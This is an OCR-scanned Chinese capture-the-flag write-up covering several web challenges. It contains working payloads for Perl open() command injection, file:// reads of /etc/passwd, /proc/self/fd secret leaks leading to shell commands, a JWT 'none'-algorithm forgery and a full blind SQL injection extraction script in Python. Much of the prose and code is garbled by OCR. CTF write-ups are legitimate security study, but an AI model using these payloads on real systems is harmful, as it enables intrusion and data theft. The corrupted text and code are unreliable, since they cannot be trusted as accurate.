$info = pathinfo($_GET["filename"]);

$dir =str_replace(".", ", basename($info["dirname"]));

@mkdir($dir);

@chdir($dir);

@file_put_contents(basename($info["basename"]), $data); /E Afilename

highlight_file(__FILE_);

X B AL Z GETS Hurlffilename, #RJE BT H A28 HipHuht in#h“orange”/Gmd5, HR3EZmd5aIE —4~ B F3fgeturl,
get uliI % -5 Nfilename. &it S EMAE:

15,.9.9,.90.9.9.9,.9.9.9.9.90.9.9.9.0.9.9.9.909.909090V

$RJ5 S6 17 19 Fhitp://69a0e2dd-f767-4a2¢-9bb1-5d10e9d036a7.node4 .buuoj.cn:81/?url=/&filename=123it 7> 58 B R AE L, H2R
Viia]

http://69a0e2dd-f767-4a2c-9bb1-5d10e9d036a7.node4.buuoj.cn/sandbox/2X X XX XXX XXX XXX XXXXX2/123:

Directory listing of /

o ./
e ./
.dockerenv

bin/



) b

A LLE Bliflag, BERIMEZERAR. BEZERKT, fitERIT/readflagd 7.
XEFH—NFRA:

perlffi A& GET openti 4 i

GET#.Lib for WWW in Perit {54 B 2B Mhtto FGETiE R GETR UK E# 2 T openitb
openfErEM & AT, I Hik X Ffilefh il

Bt A2 A file 2B :  hitp://69a0e2dd-f767-4a2¢-9bb1-5d10e9d036a7.node4 .buuoj.cn:81/?
url=file:/etc/passwd&filename=123.txt

root:x:0:0:root: froot: /bin/bash
daemon:x:1:1:daemon;: fusrs/sbin: fusr/sbin/nologin
bin:x:2:2:bin:/bin: fusr/sbin/nologin
gays:x:3:aisyvs:Sdev:/usr/shin/mologin
aync:x:4:66634: sync: /bin: /bindsvnc
games:x:5:60:games: fusr/games: fusr/sbin/nologin
martix:6: 12 man; fvar/cache/man: /usr/shin/nologin
lp:x:7:7:1p:fvar/spool flpd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail: fusr/sbin/nologin
news:x:9:%9:news: fvar/spool fnews: /usr/shin/mologin
wacp:x: 10 10:uucp : fvar/spool fuucp : fusr/sbin/mologin
proxy:x: 12: 13 proxy: /bin: fusr/skin/mologin
www—data:x 13333 www-data: fvarfewwr: fusr/sbin/mologin
backup:x:24:34:backup: fvar/backups: fusr/sbin/mologin
list:x:38:28:Nailing List Manager:/var/list:/usr/shin/nologin ~cr e
irc:x:39:39:ircd: fvar/run/ired: fusr/shin/nolozin R

BT, MEEEAag, RKT, iR RREE, ©274EHMERITreadflag.

Se1ji W url=&filename=bash -c /readflag| Je#1 & — />4 KN bash -c /readflag' 134, T2 G447
SR J5 V5 I url=file:bash -c /readflag|&filename=aaa & F| F GET#4Tbash -c /readflag R 77 2111 3C#F

Vj lsandbox/md5/aaa (18 %flag)

12.[ZerOpts2020]Can you guess it?



<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.phpV*$/i', $_SERVER['PHP_SELF')) {
exit("l don't know what you are thinking, but | won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF]));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess')) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.";
}
}

7>

Hit: XEAEEMguessH TsecrectR NILSER], BENLAEFKI64 7T EURR A BERM,  BhAh L BB i th A4 == & 1 FH
Khash_equals. FEIMA AR 1ENEHE T /config.php/*$/i, FATR BB LS & s Al ML E £ B config.php I I 4 .
XBEHIEN: UL T BAconfig.php/ A4 EHI$_SERVER['PHP_SELF’].

A LA %0d 2 Kiki5 4 aud, XA 1 13 Blindex.php:

http://172fc94e-c910-4d93-aab0-a4c3bb2716c7.node4 .buuoj.cn:81/index.php/config.php%0d

basename KA — M E: BLEHE ML ITLKIIEASCIME:

var_dump(basename(“xffconfig.php”)); // => config.php

var_dump(basename(“config.php/xff’)); // => config.php

B — T

WIZBHCIGR Sy T 716 5E B S50 IE R I HF 5 F 1 o
<7php
function check($str){
return preg_match('/config\.php\/*$/i', $str);
}
for ($i = 0; $i < 255; $i++){
$s ="lindex.php/config.php/'.chr($i);
if(1check($s)){
$t = basename('/index.php/config.php/'.chr($i));
echo "${i}: ${t\n";
}
}

?>

BEEHE— MR, HZexp:
http://172fc94e-c910-4d93-aab0-a4c3bb2716¢7.node4 .buuoj.cn:81/index.php/config.php/%81?source
EEI BN

13.[ 5 #F 2020 [ p2 41]PicDown



B8 H mfpicDown. #—MERIHTH, FHEREZBNMUBELLIRASSRF. « « « KT ¥ REBHEA FEREB M TH.
Sehttp://193363d0-df0d-4d3d-a70a-31cdd155d843.node4 .buuoj.cn:81/page?url=/etc/passwd F ik ik :

Markdown 21981 3 661 T2 51T 660, 2587

(s] beautiful.jpg o~

B2 JE AT UE BN AE. ZikiEifag:
http://193363d0-df0d-4d3d-a70a-31cdd155d843.node4 .buuoj.cn:81/page?url=/flag
—iER. XMETHRIETHT .

AR T
HE YR Memdfr 4

/proc/selflcmdline

Request Response
Lh_] Params ] Headers THex ] _LM Headers ] Hex I
| GET /page?url=/proc/self/cndline HTTE/1.1 i I HITP/1.1 200 0K
2 Host: Gdf2042c-3760-46d8-bfa5-06690ebelTaa. noded. buuoj. cn: 81 1 Z |Server: openresty
3 User-Agent: Mozilla/5.0 (Windows NI 10.0; Winf4: x64: rv:78.00 3 Date: S5un, 03 Sep 2021 13:10:24 GMI
Geclko/20100101 Firefox/78.0 i Content-Type: application/octet—strean
4 Accept: 5 Content-Length: 15
text/html, application/shtml+xml, application/xnl;q=0. 9, image/webp, #/ % q=0 6 Ceonnection: close
.8 [ Content-Disposition: attachment; filenar
o Accept-Language: 8
zh-CHN., zh:q=0. 8, zh-TW:q=0. 7. zh-HK : q=0. 5, en-US : q=0. 3, en: q=0. 2 9 pythenZ app.py |
5 Accept-Encoding: gzip., deflate
! Comnnection: close
8 Upgrade—Insecure—Requests: 1
; CSDN @KogRow

% 3 & python2.
EE— T app.py&E F:



from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)
@app.route('/")
def index():

return render_template('search.html')

@app.route(‘/page')

def page():
url = request.args.get("url")
try:

if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype="application/octet-stream’)
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html’, res=value)
@app.route('/no_one_know_the_manager")
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res

if __name__ =='_main_ "
app.run(host='0.0.0.0", port=8080)

A LLE BIFF kB —Mtmp/secret.txt, BEBEBORHZEBIHRKT . #Hit—T:
pageiX N A A T —AMilethil, HRZEurF i Nfiletti&hack, X HA KT E,

J Raw [ Params [ Headers ] Hex ] JRIA‘I Headers ] Hex I HTML l Render |
| GET /pagefurl=file: /tmp/secrect.txt HITP/1.1 s 1 HITF/1.1 200 DK
2 Host: 6Af2042¢-3760-46d9-bfa5-06600ebelTaa. noded. buusj. en: 81 il 2 Server: openresty
3 User-Agent: Mozilla/5.0 (Windows NI 10.0; Winf4: x64: rv:78.00 3 Date: Sun, 05 Sep 2021 13:17:24 GMI
Geclko/20100101 Firefox/78.0 i Content-Type: text/html; charset=utf-8
4 Accept: 3 Content-Length: 181
text/html, application/zhtml+=ml, application/zul ;q=0. 9, image/webp, #/ % g=0 4 Connection: close
.8
o Accept-Language: 8 "doctype html
zh-CH, zh:q=0. 8, 2h-TW: q=0. 7. zh-HE : q=0. 5, en-US : q=0. 3, en: q=0. 2 9E <htal
5 Accept-Encoding: gzip, deflate 108  <head:
[ Comnection: close 11 titlestest< title>
5 Upgrade—Insecure—Requests: 1 12 <fhead>
9 128 <body:
10 143 form action="/page” method="get”:
15 <input type="text” name="url”/:
15 <fform>
i7 <fbody CSO @ ool ow
| (e CSDM @KogRow




BEE T — A #Hno_one_know_the_manager:
XA B R E A AN E S T KA E 1T
HHZEEEXRE. XEHRE—DRIRAT:

o RIGFEBIT LKA = open(SECRET_FILE)
linux B W SR EA R SCHFSMENFER, #E/Rremoveds T 7E/proc/[pid]/fd T ik 2

SRF, X Epid B HAselfREB AT, FE Nlinuxd@ft T /proc/selfl B, XA BB, NRFBEV % H R RGN

BERAFN, WESMH Fiproc/aidEpid/, #FE LB

Jiv A IE A At 22 8 AR RSO AF SR IR A A2 I SO AR e IR, T & 2] —ANE L2 MIRCE,

il /proc/self/ B F# KRR E ORI REE R, AR REZER pid.

RERBRCEMET 7.

RIERFE AR fdE R TR SAHER R BT K, EERbpRa:

2 LEEEEIRE

——| Request | Payload | Status | Emor |Tmeuut|LI|yh 4 | Comment

—B 3 200 O [ 256
50 50 429 @] o 3

Gecld| g9 51 429 (] 0o 3

mags —

o 4|52 52 429 )] o 3

' 53 53 429 (] o
54 54 429 (] o 32
55 55 429 a 0 3
56 56 429 (] o 32
57 57 429 ] o 3
58 58 429 )] o 3

Headers T@

HITP/1.1 200 OE

2 Server: openresty
3 Date: Sun, 05 Sep 2021 13:28-3B GNT

4 Content-Type: application/ectet-stream
3 Content-Length: 45

6 Commection: clese

q

Content-Disposition: attachment: filename=heautiful. jpg

o HsaFalwglylc1651i8pTJRCWN3AALSWEtLEpLRIGUTG=

C5DN @KogRow

B /8 Ft6u7 UPXZONfadMgZX2L YODHIYO3yAUOKPC+D1qtLz0=, #tEF 1.

XEEEASEHNRRE T, REFITIEDTH, R R E IBuuct i $EHLTE % B 5 i 5K,

iX 2 Rt 4 buuctfE A flag MUFE AR

HETFTHERE, FEELHERT, LEERCERAE ML pythonx #shell#t1T T »

e | | vame Nt || et
Request

: Params | Headers | Hax

Response

: Headers | Hex | HTML | Render

1 GET /no_one_know_the_nanagerTkey=
552930368 5
%3d&shell= Vil

2 Host: 6dE2 so—wds bfas-06680ebc2Taa. noded. buuo . e

3 Usex—Agent: Mozilla/5.0 (Vindows NT 10,0 Win6d; x64. v a 0) Gecko/20100101 Firefox/78.0

4 Accept. text/htul, application/xhtal+xal, application/zul:q=0. 9, inage/webp, */+
AeplLun:ua: 2h~CH, zh; q=0. 8. sh-1W: g=0. 7, sh-HK: g=0. 6, en-US ;g=0. 3, en; g=0. 2
Accept-Encoding: gzip, deflate
* Comncction: clase

8 [Opgr ade-TnsecureRequesta: 1

10

14.[HFCTF2020]EasyLogin

7 X4 ABUU,

5\:1\1 H3GX6a% 415 b8 3183484 2832854% 4d%6 AN TON GER 5% TOR3TH9% 354565388 TTHIONZFA5 TR FENEFH 74N 33U 6% 49%3THTENABN 4F534 [

AR TR ZIREAM GRS LR, dirsearchi3#i— T

fE/controllers/api.js ¥ R IIEMG, ®Hit—T:

const ervnto = reatire('crvnto'):

x

HITF/1.1 404 Not Found

Server: openresty

Date: Sun, 05 Sep 2021 13:47:34 GNT
Content-Type: text/html; charset=utf-g
Content-Length: 1975

Comnection: close

S <'DOCTYPE htal
05 ‘htnl lang="en">

17 -= The above 3 meta tags e first in the head: any other head content must come %afters these tags ——

18

19 tatler &P ELF / Instance can't be veached at that time | BUUCTF</titler

20

21 Google font —

22 link href="https: //fonts. googleapis. con/caz?fani ly=0zwald: 700" lesheet”

23 Link hrefehtcys: /7 Fomts, foogleapis. con/cs st anilycLate: 400° Tale" m shest”

24

25

26 ef="https: /404, bmo . en/ess/font-avesone, nin. cas” />

20 ef="https //404 buus]. enfess/style. css” />

30

31 - HIMLS shin and Respond. s for IEG support of HIMLS elements and media queries =

22 - VARMING. Respond. js doesu't work if you view the page via falei// -

3 faf 1t IE 9]

34 script sre="https: //oss. maxcdn, con/htmlSshiv/3. 7, 3/htalsshiv. min js > </script

3 script src=https. //oss. naxcdn. con/sespond/1. 4. 2/ respond. nin. 35" /seript

i - - Veaotam
x [endaf]- CSDN @KogRow

A TFi#3—Bnodels T, WAENodeJSRMRMARIT. o o ©



const fs = require('fs')
const jwt = require('jsonwebtoken')
const APIError = require("../rest'). APIError;
module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(lusername || username ==="'admin'){ N UIR I 14 g 55 2 admin J0 Hi 1 7 4 6517
throw new APIError('register error', 'wrong username');
¥
if(global secrets.length > 100000) {
global.secrets = [|;
!
const secret = crypto.randomBytes(18).toString(‘hex); /45— BEHIHIR Z 1
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'}); /##EME . 74, EEAL#RIJWT Token
ctxrest({
token: token
IOk
await next();
B
'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;
if(lusername || !password) { /22 iF/H /14 B9 H 45
throw new APIError('login error', 'username or password is necessary');
ki
const token = ctx header.authorization || ctx request.body.authorization || ctx request.query.authorization; /&K 7 #HJWT Token
const sid = JSON.parse(Buffer.from(token.split(".")[1], 'base64').toString()).secretid;
console.log(sid)
if(sid === undefined || sid === null || !(sid < global secrets.length && sid >=0)) {
throw new APIError('login error', 'no such secret id');
ki
const secret = global.secrets|sid|;
const user = jwt.verify(token, secret, {algorithm: 'HS256"});
const status = username === user.username && password === user.password;
if(status) {
ctx session.username = username;
ki
ctxrest({
status
D;
await next();
b
'GET /apifflag": async (ctx, next) => {
if(ctx session.username == "admin'){ BB TE 2 B 2 1% B A2admin, 2B WH %
throw new APIError('permission error', 'permission denied');
ki
const flag = fs.readFileSync('/flag').toString();
ctxrest({
flag
D;
await next();
b
'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctxrest({
status: true

b

await next();



BI&BKE, RAZEFETRET, XBEEARAIWT Tokenfithi&. BrARMN1FE B EadminiIJWT Token:
FKFIWTHIER ARG X R,

MBEF, L EIX Bcookieths TR, AILLE BlaokFHE, node.jsE G smiELE koa, BHAVE N % & controllers T )
apijs, 1HMH%E%EnodelS, REEFEwWp T :

GET /home HTTP/1.1

Host: f£725785e-d937-44f£-97de-941488d23339% . noded . buucj.cn:81

Proxy-Connection: keep-aliwve

Upgrade-Insecure-Fequests: 1

DHT: L

User-Agent: Mozilla/S5.0 (Windows NT 10.0; Winf4: =€4) AppleWebKit/537.3€ (KHTML, like Gecko) Chromes/€5.0.3457.100
Safari/537.36

Accept: text/html,application/xhtml+xml, application/xml;q=0.9, image/webp, image/apng, */ *;q=0.8
Referer: http://f725785e—-d937-44f6-97de-941488d23339. noded.buuoj.cn: 81/ login

Aecept-Encoding: gzip, deflate

Aecepc-Language: en, zh-CH:qgq=0.9, zh; q=0.8

Cookie: UM distinctid=l17bald4clOseBbl-0545f5cac56c5d-8383268-2a3000-17baldcliefseE;
sgesiack=eydlelVybnFtES e ImFkbWluNS IsI 19 leHEpemUiO)EZ NzE4Nz0 LNz U legs [ 1St TXhBZZ U0 gZNDAwHD AwE Q==
ssesiaok.sig=klet 7 xAirOSDHI-EMEcalscldo

CSDN @K Jﬁﬁ' W

BEERIJWTRK K TIERE:

EAX—LHOESERTE, BEXERENT:
. BRIEERFPENEEERIE
2. [RERERA AP EE
3. MBIt —okensts Z s
4. ZFInFEtoken, FEERENERERTEHFEE
5. RE SR tokenFHREETE

1. E8—RiEkEfEE=oken
2. TokeninZpiiEisskheaderth
3. B EE SRS BEE NS FEEEATER, BAccess-Control2HbhEfgEie

FEHEINE] K cookie & T 5 aok Maok.sig it IWTE M #AD :

Algorithm = Hs2s6 v

Encoded PASTE A TOKEN HERE DeCOded EDI E PAYLOAD AND SECRET

HEADER: ALGORITHM & TOKEN TYPE
.eyJ1c2VybmFtZSI6ImFkbW1uMSIsI191eHBpcm
Ui0jE2MzE4NzQ1MzUxMzgsI19tYXhBZ2U10jg2N i
DAWMDAwTQ==.k16T7xxAir09DH1-EMEcalsclJo

PAYLOAD: DATA

username”: "admini”
pire": 16318
_maxAge": 86400008

VERIFY SIGNATURE

HMACSHA256 (



https://www.cnblogs.com/cjsblog/p/9277677.html

EITOF: LOUKS 1K€ YOUT JYV | PEYIUEU IS NOLENCOUEU COTTECUY USINY UESe0aunt

(https://tocls.ietf.org/html/rfc4648#%section-5). Note that padding ("=") must be jour-256-bit-secret

secret base64 encoded

SHARE JWT ) ,
@50 @KogRow

RIGEBRIG, /apiflagix 2k ARG IUMIWT TokenZ&iE A P 4 2% admin, FrARATEBEAE K —AJWT Token, JWTHIZ
HFBREIXRE:
BAVEIWTE W L P 4 S fadmin, HABARZS, &L B KA45EH.

omitted as per https://tools.ietf.org/html/rfc7515#section-2

® Invalid Signature

Crafted by

Libraries ntre

Encoded Decoded

HEADER:

eyJhbGci101JIUzITNiIsInR5cCI6IkpXVCJ9. ey
JZZWNyZXRpZCI6W18sInVzZXJuYW11IjoiYWRta {

W41l CJIwYXNzd29yZCI6TjEyMzQINiIsInlhdCI6 S
MTUSNTKSMTAXMX@.. L - )
681KowG5PHsU1PdbF 512YiBw2H0aU1Ro6FMDKCO

PAYLOAD:

vE

VERIFY SIGNATURE

secret base64 encoded cen


https://www.freebuf.com/articles/web/181261.html

EEmR—EEE, B
eyJhbGciOiJlUuzI1NilsInR5cCl6kpXVCJ9.eyJzZZWNyZXRpZCI6W10sInVzZZXJuYW1ljoi YWRtaW4iLCJwYXNzd29yZCI6l[EyMzQ1Ni
ISImIhdCIBMTUSNTKSMTAXMXO0

Original request | Edited request T Response 1

J RawT Params T Headers I Hex 1

Content-Length: 177 L
Aocoept: */ % [

Origin: http://£7257852-cd937-44f£-97d=-5941488d2333%9 . noded. bunoj.cn: 81

H-Fequested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winfd; =£4) AppleWeb¥it/537.36 (EHTML, like Gecko) Chrome/£9.0.3457.100
Safari/537.36

DNT: L

Content-Type: application/®-wwv-form-urlencodsd; charset=UTF-8

Referer: http://£725785e-d937-44f6-57d=-541488d2333%9 . noded .buuoj.cn:81/ login
Aoecept-Encoding: gzip, deflate

Accept-Language: en, zh-CN;q=0.59, zh;c=0.8

Cookie: UM distinctid=17hal4cl0esBbl-0945f5cac56c5d-8383268-2a3000-1Thaldcl0et8e6;
sgsestack=eyJ leZVybnFtZS TebnVebhCwioVaeGly 25 TeMTY s MTy3] IeDgZ MSwikl LheEFnZ5 TEODTOMDAWHMDES »
ssestack.sig=al0qaHPVF-ELlSEzdsS57HRnI = IITA

username=acdminiépassword=12345fsauthorization=eyJ0eii0iJEVIQILCIhbGeiiJubiSlInd. eyJeZWyvEZXRRZCIEWLIO0sInVZZXJuTWllIjoliY
WRLaW4iLCIJwY X zdl8yvICIEIJEvHz0lNiTIsTmlhdC IENTUSH TRSMTAXMED .

I\
| 1

i Y PP
a search term CSDN @i - Hrmhatthes

BRI, EERIWT Tokenitit 2, RJEEM T, getflagFRIFEINE:

Go Cancel <|v > | Target: hitp://fT25785e-d937-446-97de-941488d23339.noded.buuoj.cn:81 | # |
Request Response
J RawI Params T Headers T Hex ] J RawI Headers I Hex 1
GET /Japi/flag HTTE/L.1 i HTTP/L.1 200 OE
Host: P SeErver: openresty
£725785e—d937-44f6-97cde-941488c23339 . noded . buuoj.ocn:81 Date: Thu, l& Sep ZO0Z1 11:01:01 GMT
Froxwy-Connection: keep-alive Content-Type: application/dson; charset=utf-5
Aocept: */* Content-Length: 55
DHNT: 1 Connection: keep-alive
¥-Recuested-With: XMLHttpRegquest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&d; =g4) {"flag":"flag{SacadfEeb-93dE-47a3-95ce-hE9115e2c 04} ' n"}

AppleWebEit/537.36 (EHTHL, like Geclko)
Chrome/£9.0.34597.100 Safari/537.3€6

Feferer:
http://£725785e—d937-44f6-597cde-5941488d23339 . node4 . bunuod.
cn: 81/ home

Aocept-Encoding: gzip, deflate

Aocept-Language: en, eh-CHNyg=0.9, zh;eg=0.8

Cookie:
UN_distinctid=17bal4cl0esBbl-0545f5cac56c5d-8383268-2a3
000-17baldcli0efS=6;

ssestack=ey I leZVybmFeZSTe InF kb WInIiwiXoVaeGlyZSTEMNTY=NT
AN IS exNywik2 IheEFnZ5Ie0DYOMDAWHDES ;
ssestack.sig=HTi-IcalvgCyIEcvo33tnkcCUDT
Content-Length: 179

usernams=adminépassword=12345ccauthorization=eyJhbGei0id
IUzT1INiIsInRSeCTEIkpXEVCIS . eyJ 2 ZWNyEZXRpZCTEWLOS InVZZXJuYW
11T3o0i¥WRtaWd iLCIwY X zd2 8y ECTE TJEYyMzQ1INi IS TmlhdC IEMTUSH
TESMTAXMED

CSDN @KogRow
= ol

Z3lflag.
1] L pythonE #: 4 BJWT Token:



import jwt

token = jwt.encode(

{
"secretid": [],
"username": "admin",
"password": "123456",
"iat": 1595991011

b

algorithm="none" key=

)

print(token)

V101LCThbGei0l Jub251Inl. ay]zs d 4 TWI1T joiTWRtaW4ile 6L JEvNz01Mi IsImlhdCI6NTUS

— e
15.[CISCN2019 i 13 Day2 Web1]Easyweb

# #1517 T robots. txt:

User-agent: * Disallow: *.php.bak

Vi lHindex.php.bak M, YRS A —4]) <div class="avtar"><img src="image.php?id=1" width="200" height="200"/></div>
R T TEE X Eetc/passwd &M, 114 Fimage.php.bak:

<?php
include "config.php";
=isset( ["id")? ["id"]:"1";
=isset( ["path"])? ["path"]:"";
=addslashes(5id);
=addslashes( );
=str_replace(array("\\0","%00","\"",""),"",$id);
=str_replace(array("\0","%00","\"",""),"", );
=mysqli_query( ,"select * from images where id='{$id}' or path="{ ™)
=mysqli_fetch_array( ,MYSQLI_ASSOC);
="M ["path"];
header("Content-Type: image/jpeg");
readfile( );



BRZFHASE $id A1 $path

PHP addslashes() &#{

PHP String BREX

£l

E=MEIS (") aiEinEsEL:

<?php

$str = addslashes('Shanghai is the "biggest" city in China.'};
echo(%str);

>

EXHEZE
addslashes() BEnEREERE Y FRZAFNESHINFHE.

eV FER:

= B515 ()
= W5IE (M)
» EHHL (V)
NULL

BRI BT ATHEIEET TR L B M EEE R EETEE.

R EOAME, PHP FTERERY GET, POST #1 COOKIE $7#EE#NETT addslashes(). FrllEfmitEE MidTr=aSER
addslashes(), EXRiEHFSSIENERY. BRMERMTAILUERARE get_magic_quotes_gpc() T,

C5DN @KogRow

SR JE FEId M pathfI XU 5| 5 BTN R AHL .
RIETEIdMpaths ) %00 « \0 .+ "PAREE| S BB AT,
RIEPATSQLIER]. X B EE%ESQLIENKbypass.
i payload:

limage.php?id=\\0&path=(|(1%3d1)%23



Go Cancel < |v > |

Request

J Raw I Params T Headers I Hex 1

Target: http://Td9ef90f-8008-4b12-9eed-5b14af355c09.noded.buuoj.cn:81 t

Response

J Raw I Headers I Hex T Render ]

GET /image.php?id=""0&path=|]| (1%3dLl)%23 HTTF/L.1
Host:
Td8efS0f-8008-4b12-9ee4-5b14af955c09 . noded . buucj.cn: 81
Proxy-Connection: keep-aliwve

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-FEequests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; =e4)
AppleWebKit/537.36 (KHTHML, like Gecko)
Chroms/E59.0.3497.100 Safari/537.36

DNT: 1

Aocept:

text/html, application/xhtml+xml, application/=xml;q=0.9, im

age/webp, imags/ apng, */ *;q=0.8

Aoccept-Encoding: gzip, deflatce

Aocept-Language: en, zh-CH:qgq=0.9, zh;q=0.8

Cookie:
TN_distinctid=17bald4cll0ssBhk1l-0945f5cac56c5d-8383268-2a3
000-17bal4cl0=fS9=g

JR A :

<7php

fid="100";

echo ($id. "\n");

fpath = 7| (=10

$id=addslazhes ($id) :

echo ($id. "\n");

$path=addzlashes ($path) ;

fid==tr_replace (array (74407, "H007, W7 77T, 77, Fad)
fpath=ztr_replace (array (7407, “H007, V07, 771, 77, Spath)
echo(“zelect * from images where id=" {$id}’ or path=" {§path}’ ")
T

=
[T =R Lol s I L RS I S R

Hi&pocHhZ Gt —RBIET :
fﬁﬁ%“?ﬁ*ﬁ:

#!/usr/bin/env python3
# -* coding: utf-8 -*
import re

import requests

# FHEH
def main():

L

HTTP/1.1l Z00 OK

Server: openresty

Date: Thu, 1l& Sep Z0Z1 1Z2:2Z2:58 GHMT
Content-Type: image/jpeg
Connection: keep-alive
¥-Fowered-By: PHPF/5.5.9-lubuntu4.z9
Content-Length: 122878

O0000JF I FOOOOO0HO HOOOOOCO0000000000 a
O0000000000000 00000 !'%0) '#-500%S*—136EE
(;?7:4>0583000C0

00000003 "0"33333333333333333333333333333333333333333¢2
33373 3300000000000 "0000000000000000000000000000000000C
000 GO00000000000000000000000 ! 1 A00 ™02 acqO000# EOO0RO300
krOdo$ % 43S =s0000000000000000000000000000000000%000000
O0000000000000000 ! LAOO™ 203 BagOOOO000000000 200

00000 005800000000 '0

00000 p000200002=0C00000000000000

700p007 3ZE000£00 (O50F00+n00HO0&HO
O0LOOOO0-O0p0000000% =1, LOOOOd-+000 O=00*00uw000000*0|0&
000050004000 ' O8O0 "0 $0000000-00£300 [00F0=&00<

Ok !0_002Z020000+00000k3003 00000% ' 000-+000) 000000 A00". 0OC
000 ; O0kxO000c0-02004 =0<0000000>000v0<
OFO0HOO00 ; ORCO00C" c0LO000,/ »x000000%00000<0-050
71:000000000000wFO00vOO0r00s00N.00Z=s0z, 00>
000600 =0000-0000, KM 000 (00000 Y00%000#mn; 0
O0000gO0G ' O0-+H=z=GO0YO * T#O 10005000 . <vOyOCO70N
00000007 wE0000FO000OcO0 12 }O000:00f : ox00
O0*0OvUqgpR$0'0Z2000 0000 (0 0wd 500

O0=Z0Iw0,/0M0, ' <4~ PUO0vOOOO0#00 T4-RO D#E%I,r
O000p000cO) cOdJO0000e000c, 0005005 ; ¢~ '+ =+

T R e s L T L P P ST P Y

D A
S ILIVY

\0
4
WA

select * from images where id="\' or path="||(1=1)#

url = "http://f4f55d1b-3537-4a73-ad35-0eaffa3b26a2.node4.buuoj.cn:81/image.php"

HX = "JFIF"

db_name = get_databasename_HX(url, HX)
get_tablename_HX(url,HX "ciscnfinal")
get_columnname_HX(url, HX'fl4g")
get_table_data_HX(url, HX 'users', 'password')



HIRHE [F] 2 B V76 /& H R I E F B AT H
def get_table data_HX(url, HX table_name, column_name):
data_group_length = 0;
foriin range(1, 64):
payload = url + "?id=\\\0&path=||(if(("+str(i) + "=(SELECT (length(group_concat("+column_name+")))FROM("+table_name+"))"+"),1=1,1=2
))%23"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text.find(HX) = -1:
data_group_length =i
break
if data_group_length == 0:
print("EINFBKE R, FEFLEER"
return -1
else:
print("44E £ & "+str(data_group_length))
data ="
foriin range(1, data_group_length+1):
for j in range(32,128):
payload = url + "?id=\\\0&path=||(if(("+str(j)+"=ASCI(SUBSTR((SELECT(GROUP_CONCAT("+column_name+"))FROM("+table_name
+")),"+str(i)+",1))"+"),1=1,1=2))%23"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text find(HX) |=-1:
data += chr(j)
print(data)
s = requests.session()
HIRIE [B] 2 BT E SR FRE
def get_columnname_HX(url, HX table_name):
column_group_length = 0;
foriin range(1, 32):
payload = url + "?id=\\\0&path=||(if(("+str(i) + "=(SELECT (length(group_concat(column_name)))F ROM(information_schema.columns)WH
ERE((table_name)=(0x7573657273)))"+"),1=1,1=2))%23"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text.find(HX) !=-1:
column_group_length =i
break
if column_group_length == 0:
print("E I FEBACE R, FRFFSR")
return -1
else:
print ("7 B " + str(column_group_length))
columns =""
foriin range(1, column_group_length + 1):
for jin range(32, 128):
payload = url + "?id=\\\0&path=||(if("+str(j)+"=ASCII((SELECT (SUBSTR(GROUP_CONCAT (column_name),"+str(i)+",1))FROM(inform
ation_schema.columns)WHERE((table_name)=0x7573657273)))"+",1=1,1=2))%23"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text find(HX) !=-1:
columns += chr(j)
print(columns)
break
print(columns)
return 1
HIRH [F] 2 B E KR IR S
def get_tablename_HX(url, HX db_name):

tahle arniin lennath =N



vvvvv Yy Y
foriin range(1, 32):
payload=url+"?id=\\\0&path=||(if(((SELECT(LENGTH(GROUP_CONCAT (table_name)))FROM(information_schema.tables)WHERE(table_
schema=(select%20database())))="+str(i)+"),1=1,1=2))%23"
print(payload)
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text.find(HX) = -1:
table_group_length =i
break
if table_group_length == 0:
print ("SLEUEIE EER KM, PR
return -1
else:
tables =™
foriin range(1, table_group_length + 1):
for j in range(32,128):
payload = url + "?id=\\\\0&path=||(if(("+str(j)+"=ASCII((SELECT (SUBSTR(GROUP_CONCAT (table_name),"+str(i)+",1))FROM(informat
ion_schema.tables)WHERE(table_schema=(select%20database()))))),1=1,1=2))%23"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text find(HX) |= -1:
tables+=chr(j)
print(tables)
break
print(tables)
return 1

# 1R 02 B KRB
# database_len_payload: SFR £ # % 4 K Z Hpayload, HITH &
# database _name_payload: FBR## /% £ Hipayload, B 17 H &
# HX: rir P 55 2R 10 19 1] 2
def get_databasename_HX(url, HX):
db_name =""
database_len =0 # 2045 /E 451K /Z
for i in range(1, 32):
payload = url + "?id=\\\0&path=||(if((length(database())="+str(i)+"),1=1,1=2))%23"
result = requests.get(payload)
result.encoding = 'utf-8'
if result.text find(HX) !=-1:
database_len =i
break
if database_len == 0:
print("Er U PR BRI, FRFFAAE")
return "-1"
else:
print("#4E E K E 8" + str(database_len))
foriin range(1, database_len + 1):
for jin range(32, 128):
payload = url + "?id=\\\0&path=||(if((ascii(substr(database(),"+str(i)+",1))="+str(j)+"),1=1,1=2))--+"
result = requests.get(payload)
if result.text find(HX) !=-1:
